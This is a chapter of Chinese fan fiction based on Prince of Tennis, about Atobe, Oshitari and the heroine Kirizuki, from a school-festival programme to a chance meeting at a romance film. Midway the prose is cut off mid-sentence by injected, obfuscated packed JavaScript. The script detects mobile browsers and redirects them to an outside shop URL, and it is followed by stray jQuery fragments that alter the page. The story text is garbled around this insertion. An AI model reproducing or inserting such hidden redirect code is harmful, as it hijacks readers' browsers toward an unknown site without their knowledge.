“谁惹我们迹部sama了?”冰帝学生会会长办公室内,忍足观察着正在看文件的迹部。
“再学那群粉丝的称呼你就给本大爷出去。”迹部头都没抬,沉声开口。
“看你心情不好,说说发生什么事了给我高兴高兴,咳,不是,我帮你分析分析。”
迹部翻阅文件的手停住了,他沉默了几秒,薄唇微抿:“你说,给动态点赞意味着什么?”
“点赞?”忍足镜片闪过一丝亮光,“点赞是很正常的社交行为吧,意味着看到了,礼貌性地打个招呼。”
“那为什么只点赞不评论呢?”
忍足有点好笑,这大少爷是从来没受过冷落,心里不平衡了:“人家为什么要评论?”
“面对喜欢的人不应该是绞尽脑汁找话题吗?”迹部皱了皱眉,十分不解。
喜欢的人?忍足抬手挡住勾起的唇角,他大概猜到他在纠结什么了。
刚要张口戳破某人不切实际的幻想,门突然被敲响了。
迹部的坐姿在一秒内恢复了端正,视线重新落回文件上。
“迹部君在吗?校园祭的策划案,老师让我送过来。”
桐月抱着文件夹探进头来,看见忍足,微微点头致意:“忍足君也在啊。”
“嗯,来商量训练安排的。”忍足笑眯眯地应了,心里已经开始搬小板凳。
“放这儿就行。”迹部拿笔点了点办公桌。
桐月把文件放下,却没有立刻走,而是翻到中间一页,指着给他看:“节目单需要签字确认,你看一眼有没有问题。”
迹部扫过去。
目光在某一栏停住了。
【演奏节目:钢琴合奏《F小调幻想曲 D.940》——藤原桐月×凤长太郎】
他抬眼看向桐月:“和凤合奏?”
“榊指导安排的。” 桐月回答得坦坦荡荡,“他之前当过我钢琴比赛的评委,觉得我演奏风格和凤比较适配,就把我们凑一组了。”
“跨学部了。”迹部开口,语气听不出情绪,“排练协调很麻烦。”
“没事,凤君人很好,说时间都配合我。”
“噢。”他闷闷应答,在节目单上签上了字。
桐月拿回文件,简单打了声招呼就转身离开办公室。
门关上后,忍足悠悠开口:“和凤合奏啊。”
“怎么?”迹部有点不耐。
“没什么,就是突然觉得,你不用再担心和藤原的‘绯闻’了。”忍足靠回椅背,笑得意味深长,“校园祭一结束,论坛刷屏的肯定是‘纯情学弟与优雅学姐好配’,你们那点事就没人再提了。”
“谁担心过那种东西。”
忍足看着他口是心非的模样,镜片下笑意更深,只耸耸肩,不再说话了。
·
周六,天气晴朗,桐月的心情也如天气一样。
她在镜子前转了一圈,白色T恤外面套一件浅蓝色的oversize衬衫,下摆随便打了个结,配牛仔短裤和帆布鞋,马尾扎得高高的,晃一下就能扫到肩膀。
完美!今天的她青春洋溢得能直接去拍汽水广告了。
桐月欣赏了一会儿自己这少见的装扮,便拿起太阳伞和小挎包脚步轻快地出门了。
毕竟是和崇弘的“约会”嘛,当然要重视一些啦,很久没有和崇弘单独出去玩过了,她惆怅地想,这孩子越大越不黏姐姐了,幼时攥着她衣角软软糯糯叫姐姐的时候多可爱呀。
回忆被手机铃声打断,桐月看了一眼,是崇弘。
高高兴兴地接通,然而,听完电话的少女僵住了,身后的背景从阳光明媚瞬间变成了凄风苦雨,她居然被放鸽子了,而且放鸽子的对象还是自家弟弟,理由还是网球部有急事。
虽然得到了诚恳的道歉并且“割地赔款”了诸多她无理的要求,比如接下来一周都要给她做便当。桦地虽然看起来五大三粗的,但是出乎意料地很擅长烹饪和缝纫。即便如此,桐月还是憋了一肚子闷气。
网球部网球部,打个网球是能拯救世界吗?为什么打网球要排在跟姐姐看电影之前啊,亏她还特地选了他最喜欢的《太空漫游2001》重映版,还幻想着崇弘发现她还记得他最喜欢的电影而大受感动的样子呢,结果全都落空了。
有点郁闷地踢了踢地面,桐月站在电影宣传海报前,打算重新选一部电影。
目光扫过一排海报,有一部清新氛围感的影片一下子抓住了她的视线,看起来风格和《情书》很像,那就这部好了。
她环顾四周,电影院门口人来人往,成双成对的情侣,推着婴儿车的夫妻,勾着胳膊的闺蜜团。放眼望去,只有她一个人杵在海报底下。
“总感觉有点寂寞哎。”她小声嘀咕,“要是能突然碰到熟人一起看就好了。”
后来的桐月回想,话是不能随便乱说的。
老天爷的耳朵在无聊的时候,是很灵的。
·
“欢迎光临,请问需要些什么呢?”
“呃,一杯中可乐,爆米花的话……”桐月盯着菜单认真挑选,“焦糖和咸蛋黄哪个更好吃一点呢?”刚从售货员小姐姐手里接过爆米花和可乐,身后就传来了一道熟悉的声音。
“啊恩,你把本大爷喊过来就是要看这种电影?”
桐月手里的爆米花差点没拿稳。
这个尾音上扬、自带混响的腔调……
她缓缓回头,巨型海报底下,一个高个金发男生抱着手臂,正抬眼看着那张男女主甜蜜相拥的海报,露出了一言难尽的表情。旁边的藏蓝色头发的戴眼镜男生则是正在研究海报上的文字。
果然是他们,迹部景吾和忍足侑士。
“我自己一个人来很奇怪啊。”忍足闻言认真反驳,“上次我两边坐的全是情侣,全程十指相扣,我夹在中间,爆米花都不敢大声嚼。”
迹部额头上蹦出几条黑线:“那两个大男生来看这种纯爱电影不奇怪吗?”
“所以不是拉了你吗?”
“本大爷是你拿来当理由的吗?”
“反正总比一个人强。”
“……”
迹部真的很想扒开这家伙的脑子看看里面是不是只装了纯爱小说和电影。下次再让他推荐“值得看的东西”,自己就把网球杂志糊在他脸上。
观看了对话全程的桐月,忍不住笑出了声。
两人齐齐回头,脸上不约而同地浮现出尴尬的神情。
“……藤原?”忍足率先出声。
“上午好。”桐月举了举手里的爆米花,“你们也来看电影吗?”
“哦哦,巧了。”忍足摸摸下巴,“你自己一个人吗?”
“我约了崇弘,他说网球部有急事来不了了,所以只剩我自己一个人了。”桐月提起被放鸽子,还是一脸幽怨。
迹部朝她点了点头,但是脸色还是不太自然,被忽悠过来看这种爱情电影,显然完全不在他的美学范围内。
不过,话说回来。
这是她第一次在学校之外看见迹部景吾。
不是惯常的冰帝制服和网球部队服,他就穿着一件简单的黑色T恤,外面松松罩了件深灰外套,长腿在休闲裤里显得更长,金发被上午的太阳照得闪闪发亮,整个人随意得几乎像个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17824284|209460||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
普通的高中男生。
她不由得又多看了好几眼,还挺新鲜的。
不过,迹部怎么一直在看她啊,桐月低头看了眼手中的爆米花,难不成是想问什么口味的好吃但不好意思开口吗?
“咸蛋黄味的。”她轻轻晃了晃爆米花桶,“新口味噢,强推。”
“啊?好,谢谢。”忍足对于她突如其来的推荐有点意外。而迹部脸上又浮现出了一言难尽的表情。
桐月满足地点了点头,分享自己喜欢的东西也是一种快乐。她转身就往放映厅走,半生不熟凑一块会尴尬,还是各看各的比较舒服。
当她小心翼翼地避开人群坐在位置上后,刚把爆米花和可乐放置好,旁边的位置也有人坐下了。
幽幽的玫瑰花香漫过来,她心里松了一口气,公共场合最怕碰到邋遢的邻座了。不过,是她的错觉吗?这香气好像有点熟悉。
她扭头,就见迹部坐在左边的位置上,好整以暇地看着她,旁边的忍足也晃了下手里的电影票:“还真是巧啊,又见面了。”
“哈哈,的确。”她干笑一声,将头扭了回去。
影厅陷入一片静谧的黑暗,片头字幕刚出来,左边就传来一声悠长的叹息。
“怎么了。”她小声问。
“没什么。”迹部盯着银幕,“预感不妙。”
事实证明,他的直觉准得可怕。
不过在这时,桐月还有点摸不着头脑,心中默默吐槽,看个电影还故弄玄虚。
电影演到四十分钟,女主角在雨里等了一夜,男主没有来。
桐月还沉浸在电影营造的悲情氛围中,心情有些酸涩,旁边却传来了抽泣的声音。
她借着银幕的光偏头看去,只见传闻中冰帝网球部最冷静理性的军师,正哭的肩膀一抖一抖的,镜片后的眼睛还红红的。
“忍足君没事吧?”她凑近迹部,压低嗓音询问。
“不用管他。”迹部直视前方,看都没看他一眼。
“早说了不华丽。”他低声嫌道,“哭点低成这样。”手上却掏出了一包纸巾递了过去。
忍足接过纸巾,摘下眼镜,把纸巾按在红肿的眼睛上:“剧情、剧情到这里本来就该哭……”
“闭嘴,看电影吧。”
桐月在旁边看完了全程,默默在心里的“竞争对手观察档案”里添了一笔,这人,意外地宠队友呢。
然而,当电影演到男主在机场狂奔的那段。
配乐一起,桐月自己也绷不住了。
不行,这段太狡猾了,明知道是套路,眼泪它不听指挥啊。
她仰了仰头,努力把泪意憋回去,可眼眶里的泪珠还是摇摇欲坠,透过水雾,她看到一方叠得方方正正的手帕递到了她面前。
手帕是深蓝色,边角绣着一个小小的Atobe的字样,在放映厅的暗光里泛着低调的缎面光泽。
“……诶?”
“接着。”迹部依旧目视前方,语气理所当然,“用袖子擦很没形象。”
谁要用袖子擦了,桐月脑子晕乎乎的,下意识伸手接了过来。心里暗自感慨,这位大少爷果真是从头到脚都讲究,居然随身还揣着手帕。不过为什么每次她出糗的时候都被他撞个正着啊!
左边,迹部看了她一眼。
眼泪汪汪的,鼻尖红红的,平时那股机灵劲儿全没了,狼狈得像只被雨淋过的猫。
他想起学生会会长竞选那天,她也是这样红着眼眶。
还是笑着更顺眼一点。
这个念头冒出来的时候,银幕上正好炸开一段煽情的弦乐,把他的心跳声盖得严严实实。